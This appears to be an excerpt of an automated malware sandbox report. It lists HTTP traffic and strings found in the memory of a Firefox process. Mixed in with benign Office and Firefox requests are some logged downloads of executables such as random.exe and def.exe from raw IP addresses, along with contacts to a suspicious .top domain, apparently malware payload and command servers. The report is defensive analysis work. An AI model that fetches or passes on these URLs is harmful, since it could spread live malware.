Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://c.amazon-adsystem.com/aax2/apstag.js://pub.doubleverify.com/signals/pub.jsFileUtils_openAtomicFileOutputStream://track.adform.net/serving/scripts/trackpoint/pictureinpicture%40mozilla.org:1.0.0@mozilla.org/network/safe-file-output-stream;1://.imgur.io/js/vendor..bundle.js@mozilla.org/network/atomic-file-output-stream;1://.imgur.com/js/vendor..bundle.js://cdn.branch.io/branch-latest.min.js://static.chartbeat.com/js/chartbeat.jsFileUtils_openSafeFileOutputStream://web-assets.toggl.com/app/assets/scripts/.jshttps://smartblock.firefox.etp/facebook.svgwebcompat-reporter@mozilla.org.xpiwebcompat-reporter%40mozilla.org:1.5.1FileUtils_closeSafeFileOutputStream://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/analytics.js://adservex.media.net/videoAds.js://pagead2.googlesyndication.com/tag/js/gpt.js*://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://s.webtrends.com/js/advancedLinkTracking.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/webtrends.js://cdn.adsafeprotected.com/iasPET.1.js://imasdk.googleapis.com/js/sdkloader/ima3.js*://s.webtrends.com/js/webtrends.min.jsUnknown sender or wrong actor for recv equals www.facebook.com (Facebook)
